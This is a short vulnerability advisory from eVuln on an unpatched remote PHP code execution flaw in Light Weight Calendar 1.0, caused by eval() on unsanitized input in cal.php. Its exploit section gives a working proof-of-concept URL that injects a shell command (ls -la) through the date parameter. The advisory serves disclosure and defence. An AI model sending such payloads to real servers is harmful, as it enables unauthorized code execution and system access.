New eVuln Advisory: Light Weight Calendar PHP Code Execution http://evuln.com/vulns/29/summary.html --------------------Summary---------------- Software: Light Weight Calendar Sowtware's Web Site: http://sourceforge.net/projects/lwcal/ Versions: 1.0 Critical Level: Dangerous Type: PHP Code Execution Class: Remote Status: Unpatched Exploit: Available Solution: Not Available Discovered by: Aliaksandr Hartsuyeu (alex@xxxxxxxxx) eVuln ID: EV0029 -----------------Description--------------- Vulnerable script: cal.php Function eval() is called with user-defined parameter which is not properly sanitized. This can be used to execute arbitrary PHP code. System access is possible. --------------Exploit---------------------- PHP Code Execution example. http://host/lwc/index.php?stam=1928504&date=20050901);%20echo%20(%60ls%20-la%60&View=month --------------Solution--------------------- No Patch available. --------------Credit----------------------- Original Advisory: http://evuln.com/vulns/29/summary.html Discovered by: Aliaksandr Hartsuyeu (alex@xxxxxxxxx)
